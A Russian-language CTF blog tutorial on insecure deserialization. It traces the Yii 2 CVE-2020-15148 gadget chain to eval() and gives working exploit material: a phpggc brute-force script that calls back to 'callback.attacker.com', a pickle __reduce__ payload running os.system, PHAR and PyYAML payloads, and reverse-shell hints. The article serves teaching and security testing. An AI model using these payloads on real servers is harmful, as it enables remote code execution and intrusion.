Главная / Блог / Insecure Deserialization в CTF: PHP и Python

12 мин.00

Insecure Deserialization в CTF: PHP и Python

Insecure Deserialization в CTF: PHP и Python

CVE-2020-15148 в Yii 2 — CVSS 8.9 и EPSS в топ-1% по вероятности эксплуатации. Один вызов unserialize() на пользовательский ввод, цепочка из четырёх классов фреймворка — и атакующий получает eval() с произвольным кодом на сервере. OWASP держит insecure deserialization в категории A08:2021 (Software and Data Integrity Failures), а с 2017 года эта штука в том или ином виде сидит в OWASP Top 10. В CTF-тасках по web-категории десериализация встречается стабильно — но большинство игроков останавливается на уровне «запустил phpggc, получил флаг» и не лезет под капот. Здесь разберём полный цикл: от распознавания сериализованных данных в трафике до построения gadget chains в PHP и эксплуатации pickle в Python.

PHP unserialize: формат данных и базовые атаки

Как распознать сериализованные объекты PHP

Мгновенное распознавание сериализованных данных в HTTP-трафике — базовый навык для CTF web-категории. PHP использует текстовый формат с характерными маркерами: O: для объектов, a: для ассоциативных массивов, s: для строк, i: для целых чисел и b: для булевых значений. На CTF эти данные чаще всего прячутся в cookies, POST-параметрах или скрытых полях форм, закодированные в base64. Подробнее — в нашем подробном разборе создание ctf заданий.

По материалам PortSwigger Web Security Academy, стандартный сериализованный PHP-объект выглядит так: O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}. Разбираем по частям: O:4:"User" — объект класса User (4 символа в имени), 2 — два атрибута, далее пары ключ-значение с указанием типа и длины каждого элемента. Функции сериализации — serialize() и unserialize(). При аудите исходного кода первое, что ищем — вызовы unserialize() на пользовательских данных.

На реальном пентесте команда Vaadata нашла уязвимость десериализации PHP именно через анализ трафика: POST-параметр datas содержал base64-закодированный массив a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;}. Декодировали — увидели характерный формат — подтвердили наличие unserialize() на стороне сервера.

В Burp Suite Professional сканер автоматически помечает HTTP-сообщения с сериализованными объектами. В бесплатной версии — ручной поиск через Proxy History: ищите base64-строки, которые после декодирования начинаются с O: или a:. Для начала хватит за глаза.

Модификация атрибутов и type juggling

Простейший вектор эксплуатации десериализации PHP — прямая модификация значений атрибутов. Приложение десериализует cookie с объектом User, где isAdmin=false? Меняем b:0 на b:1, пересчитываем длины строк и отправляем модифицированный cookie обратно. По данным PortSwigger, типичный уязвимый код берёт cookie, передаёт в unserialize(), затем проверяет $user->isAdmin === true для доступа к админке. Никакой проверки подлинности объекта — одно изменение байта даёт привилегии администратора.

Более тонкий приём — эксплуатация type juggling через десериализацию объектов PHP. Оператор == в PHP версий до 8.x при сравнении целого числа 0 со строкой возвращает true, потому что строка конвертируется в 0. Через insecure deserialization подменяем тип атрибута пароля: вместо строки подставляем целое число 0. Если серверный код использует ==, сравнение 0 == "any_password" вернёт true — обход аутентификации. Красота.

В PHP 8+ поведение 0 == "Example string" изменено — возвращает false. Но сравнение 5 == "5 of something" по-прежнему работает как 5 == 5 даже в PHP 8. На CTF встречаются обе версии, так что type juggling через десериализацию остаётся рабочим вектором — только перед применением стоит определить версию PHP целевого приложения.

Magic methods PHP и gadget chains

Точки входа: __wakeup и __destruct

При вызове unserialize() PHP автоматически запускает magic methods объекта. Метод __wakeup() срабатывает сразу после десериализации, а __destruct() — когда объект уничтожается сборщиком мусора. Эти два метода — гарантированные точки входа для gadget chain: они вызываются в процессе десериализации без каких-либо дополнительных действий приложения.

Как отмечает PortSwigger, атака десериализации может завершиться ещё до окончания работы unserialize() — сам процесс восстановления объекта запускает выполнение вредоносного кода. Приложение может никогда не обратиться к десериализованному объекту напрямую — ущерб уже нанесён.

Gadget chain — это цепочка вызовов методов разных классов, которая начинается с магического метода и заканчивается чем-то опасным: eval(), system() или file_put_contents(). Каждый «гаджет» — класс из кодовой базы или зависимостей приложения, чей метод выполняет одно действие и передаёт управление дальше. Атакующий не контролирует код — он контролирует данные. Через сериализованный объект задаётся, какие классы инстанциировать и какие значения присвоить их свойствам.

Gadget chain в Yii 2: пошаговый разбор CVE-2020-15148

Разберём реальную gadget chain, задокументированную командой RedTeam Pentesting для Yii 2 до версии 2.0.38. CVE-2020-15148 (CWE-502) получила CVSS 8.9 (HIGH) с вектором CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H — сетевой доступ, привилегии не требуются, взаимодействие пользователя не нужно. EPSS-оценка 0.7754 помещает её в топ-1% по вероятности эксплуатации — экстремально высокий уровень.

Поиск цепочки начинается с конца — от sink к source. RedTeam Pentesting прогнали grep по __destruct в исходниках Yii 2.0.37 и нашли один результат: класс yii\db\BatchQueryResult.

Шесть шагов от __destruct() до eval():

  1. BatchQueryResult.__destruct() вызывает $this->reset() — стандартная очистка ресурсов
  2. reset() вызывает $this->_dataReader->close() — приватное свойство _dataReader контролируется через сериализацию
  3. Если _dataReader установлен в объект yii\web\DbSession, его close() проверяет getIsActive() и вызывает $this->composeFields()
  4. composeFields() из yii\web\MultiFieldSession выполняет call_user_func($this->writeCallback, $this) — свойство writeCallback задаётся атакующим
  5. writeCallback устанавливается в массив [ExpressionDependency_object, 'generateDependencyData'] — вызов метода произвольного объекта
  6. generateDependencyData() из yii\caching\ExpressionDependency выполняет eval("return {$this->expression};") — RCE

Четыре класса, шесть переходов — от безобидного деструктора до eval() с контролируемым выражением. Свойство $expression задаётся атакующим через сериализованный payload. Элегантно, если подумать.

Нюанс, на котором можно застрять: цепочка работает только при активной PHP-сессии, потому что getIsActive() в DbSession.close() проверяет session_status() === PHP_SESSION_ACTIVE. Для большинства веб-приложений условие выполняется, но на CTF стоит убедиться — иногда авторы намеренно отключают сессии, чтобы усложнить задание.

Yii 2 закрыл уязвимость в версии 2.0.38. Nuclei-шаблон для автоматического обнаружения CVE доступен в репозитории ProjectDiscovery как CVE-2020-15148.yaml.

Зачем атакующему десериализация: бизнес-логика атаки

В CTF мотивация прозрачна — RCE ведёт к чтению файла с флагом. На реальных пентестах десериализация — это вектор Initial Access (T1190, Exploit Public-Facing Application по MITRE ATT&CK). Получив выполнение кода, атакующий ставит Web Shell (T1505.003, Persistence), ищет учётные данные в конфигурационных файлах (T1552.001, Credentials In Files) и переходит к Exploitation for Privilege Escalation (T1068). Цепочка от одного unserialize() до полного контроля над инфраструктурой может занять минуты.

Поэтому рекомендация PortSwigger категорична: «user input should never be deserialized at all». Любые проверки данных после десериализации бесполезны — атака происходит в момент вызова unserialize(), а не после.

phpggc: эксплуатация десериализации PHP без исходного кода

Брутфорс gadget chains в black-box

PHPGGC (PHP Generic Gadget Chains) — коллекция готовых цепочек для популярных PHP-фреймворков. Команда phpggc -l выводит все доступные цепочки, phpggc -l | grep RCE — только те, что дают Remote Code Execution. Каждая цепочка привязана к конкретной библиотеке и диапазону её версий.

Когда исходный код недоступен (типичная ситуация на CTF и на реальных аудитах) — можно тупо перебрать все RCE-цепочки. Методика Vaadata, сработавшая на реальном пентесте: генерируете payload для каждой цепочки с DNS-callback в качестве команды (например, nslookup target.attacker.com), кодируете в base64 и URL-encode (флаги -b -u), добавляете -f для принудительного вызова __destruct(), загружаете все payloads как словарь в Burp Intruder и отправляете по одному в уязвимый параметр. Если DNS-запрос приходит на контролируемый сервер — цепочка сработала.

#!/bin/bash
function="system"
command="nslookup callback.attacker.com"
phpggc -l | grep RCE | cut -d' ' -f1 | \
  xargs -L 1 phpggc -i | grep 'phpggc ' | \
  while read line; do
    gadget=$(echo $line | cut -d' ' -f2)
    phpggc -a -b -u -f $gadget "$function" "$command"
  done

Скрипт перебирает все RCE-цепочки из phpggc, генерируя для каждой base64-encoded payload с флагами -a (ASCII hex encoding строк) и -f (форсирование деструктора). На том же пентесте Vaadata обнаружили работающую цепочку Monolog/RCE8 — DNS-запрос подтвердил выполнение кода. После подтверждения — боевой payload: phpggc -a -b -u -f Monolog/RCE8 'system' 'whoami /all' — и сервер возвращает информацию о пользователе IIS.

Ключевой момент: флаг -f критически важен. Без него phpggc не гарантирует вызов __destruct() при десериализации — объект может не уничтожиться в нужный момент, и цепочка просто не сработает. Я на этом терял время больше одного раза, пока не привык ставить -f по умолчанию.

Для верификации конкретной библиотеки в Java-стеке (если задание не PHP) существует GadgetProbe — инструмент, генерирующий payloads с DNS-callback для проверки загруженности конкретных классов. Доступен в Burp Suite BApp Store.

Python pickle RCE: эксплуатация через reduce

Механизм reduce и стандартный payload

В Python модуль pickle сериализует объекты в байтовый поток и восстанавливает обратно. В отличие от PHP, pickle использует бинарный формат и собственный набор opcodes — по сути это стековая виртуальная машина. Вызов pickle.loads() на пользовательском вводе — прямой аналог unserialize() в PHP и такой же путь к RCE.

По MITRE ATT&CK эксплуатация pickle маппится на Python (T1059.006, Execution). Результат может вызывать системные команды через Unix Shell (T1059.004).

Ключевой механизм — метод __reduce__(). При восстановлении объекта pickle проверяет наличие этого метода. __reduce__() должен вернуть кортеж: callable и его аргументы. Pickle вызовет callable при десериализации. Если callable — os.system, а аргумент — произвольная команда:

import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
# Сервер выполнит os.system('id') при pickle.loads()

На CTF этот паттерн встречается регулярно: Flask-приложение принимает данные в cookie или API-параметре, декодирует base64, передаёт в pickle.loads(). Передаём сгенерированный payload — получаем выполнение команды. Просто и брутально.

Распознать pickle в трафике: бинарные данные начинаются с \x80\x04\x95 (protocol 4), \x80\x03 (protocol 3) или \x80\x02 (protocol 2), обычно в base64-кодировке. Текстовый protocol 0 начинается с символов вроде ( или c — встречается реже.

Обход фильтров в продвинутых CTF-тасках

В продвинутых заданиях авторы добавляют фильтрацию: запрещают модуль os, проверяют строки в сериализованном потоке или ограничивают доступные модули. Тут приходится спускаться на уровень pickle opcodes — писать raw pickle bytecode, который обходит фильтры.

Вместо os.system можно использовать subprocess.check_output, builtins.__import__ для динамической загрузки модулей или exec/eval через builtins. Для reverse shell — subprocess.Popen с перенаправлением stdin/stdout на сокет.

Отдельный вектор, который часто пересекается с pickle — PyYAML. Функция yaml.load() без параметра Loader=SafeLoader позволяет десериализовать произвольные Python-объекты через конструкцию !!python/object/apply:os.system ['id']. По сути тот же pickle-механизм, но в YAML-обёртке. В CTF этот вектор встречается реже чистого pickle, но на пентестах — регулярно.

PHAR-десериализация как скрытый вектор

PHAR (PHP Archive) — формат архивов PHP, содержащий метаданные в сериализованном виде. Если приложение выполняет файловые операции (file_exists(), fopen(), file_get_contents(), is_dir()) на пользовательском вводе с wrapper phar://, PHP автоматически десериализует метаданные архива. Даже если unserialize() нигде не вызывается явно — десериализация произойдёт через файловые функции. Вот так сюрприз.

На CTF это работает через загрузку файлов: атакующий загружает PHAR-архив с расширением .jpg или .png (PHAR не проверяет расширение, определяя формат по внутренней сигнатуре), затем обращается к нему через phar://uploads/malicious.jpg. Файловая операция триггерит десериализацию метаданных — gadget chain активируется.

Для генерации вредоносного PHAR-файла phpggc поддерживает флаг -p phar: команда phpggc -p phar -o exploit.phar Framework/RCE1 system 'cat /flag.txt' создаёт готовый архив. Этот вектор особенно ценен, когда приложение не принимает сериализованные данные напрямую, но позволяет загружать файлы и обращаться к ним через phar://.

Практический CTF workflow: от обнаружения до RCE

Пошаговый алгоритм для решения CTF-тасков с десериализацией:

Шаг 1 — Обнаружение. Перехватываете трафик через Burp Suite. Ищете характерные паттерны: для PHP — строки O:, a:, s: (часто в base64 внутри cookies), для Python pickle — бинарные данные с \x80\x03/\x80\x04\x95, для Java — hex ac ed или base64 rO0 в начале данных.

Шаг 2 — Определение стека. Формат сериализации указывает на язык. PHP — ищите X-Powered-By: PHP, cookie PHPSESSID. Python — заголовки Flask (Set-Cookie: session=...) или Django. Авторы CTF часто оставляют подсказки: URL вроде /app.py, файлы requirements.txt или composer.json в открытом доступе.

Шаг 3 — White-box или black-box. При наличии исходного кода — grep -r "unserialize" . для PHP или grep -r "pickle.loads" . для Python. Трассируете gadget chain от sink к source — как в примере с Yii 2 выше. Без исходного кода — определяете фреймворк по fingerprinting и переходите к брутфорсу через phpggc (PHP) или стандартному __reduce__ payload (Python).

Шаг 4 — Генерация payload. PHP: phpggc Framework/RCE1 system 'cat /flag.txt' -b для конкретного фреймворка. Python: генерируете pickle-объект с __reduce__, кодируете в base64. Подставляете в уязвимый параметр.

Шаг 5 — Доставка и постэксплуатация. Отправляете payload, получаете RCE. На CTF — читаете флаг. На пентесте — это точка опоры: Web Shell для persistence (T1505.003), чтение конфигурационных файлов с учётными данными (T1552.001), эскалация привилегий (T1068). Один unserialize() — и вся инфраструктура под угрозой.

Типичная ошибка на CTF — не пробовать PHAR-вектор, когда прямая десериализация не работает. Если есть загрузка файлов и любая файловая операция с пользовательским путём — попробуйте phar://. Потренировавшись на кошках, этот чеклист доведёте до автоматизма.


Большинство web-тасков с десериализацией решается механически: скопировал cookie, декодировал base64, подставил payload из phpggc, получил флаг. На тасках среднего уровня — работает. Ломается в тот момент, когда задание требует собрать цепочку руками — для нестандартного фреймворка, для кастомных классов приложения, для pickle с фильтрацией opcodes.

Пример с Yii 2 это показывает наглядно: RedTeam Pentesting не нашли готовую цепочку для нужной версии и руками проследили путь от __destruct() через _dataReader, DbSession, call_user_func() до eval(). Этот навык — чтение чужого кода в поисках gadget chain от sink к source — не тренируется копированием phpggc-команд. Он тренируется xdebug-сессиями, ручным обходом классов, попытками собрать цепочку из трёх гаджетов и пониманием, почему четвёртый ломает всё.

То же с pickle: __reduce__ + os.system — уровень средних тасков. На серьёзных CTF нужно работать с raw opcodes: GLOBAL, INST, REDUCE, ручная сборка стека — и понимание того, какие классы и методы доступны в sandbox-окружении. Без этого продвинутые задания с Python-десериализацией останутся нерешёнными.

Если writeup'ы надоели и хочется собирать эти цепочки на реальных лабах с прогрессией от простого к сложному — WAPT покрывает веб-десериализацию в отдельных модулях с ментором, который проверяет именно ход мысли при построении chain, а не финальный payload.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Анализ PCAP файлов: пароли и файлы из дампа

9 мин.

2

Анализ PCAP файлов: пароли и файлы из дампа

Пошаговый разбор извлечения паролей и файлов из PCAP-дампов: Wireshark, tshark, BruteShark. Готовые команды и фильтры для forensics-тасков CTF.

5 ОКТЯБРЬ, 2026

Burp Suite с нуля: настройка и первые CTF-таски

14 мин.

12

Burp Suite с нуля: настройка и первые CTF-таски

Пошаговая настройка Burp Suite: прокси, сертификат, FoxyProxy, Repeater и Intruder. Разбираем реальный веб-таск CTF от первого запроса до флага

5 ОКТЯБРЬ, 2026

Основы сетей для CTF: OSI, TCP/IP и анализ PCAP

14 мин.

8

Основы сетей для CTF: OSI, TCP/IP и анализ PCAP

7 уровней OSI на языке CTF-задач: где в пакете искать флаг, фильтры Wireshark и tcpdump, пошаговый workflow разбора PCAP и привязка атак к MITRE ATT&CK.

4 ОКТЯБРЬ, 2026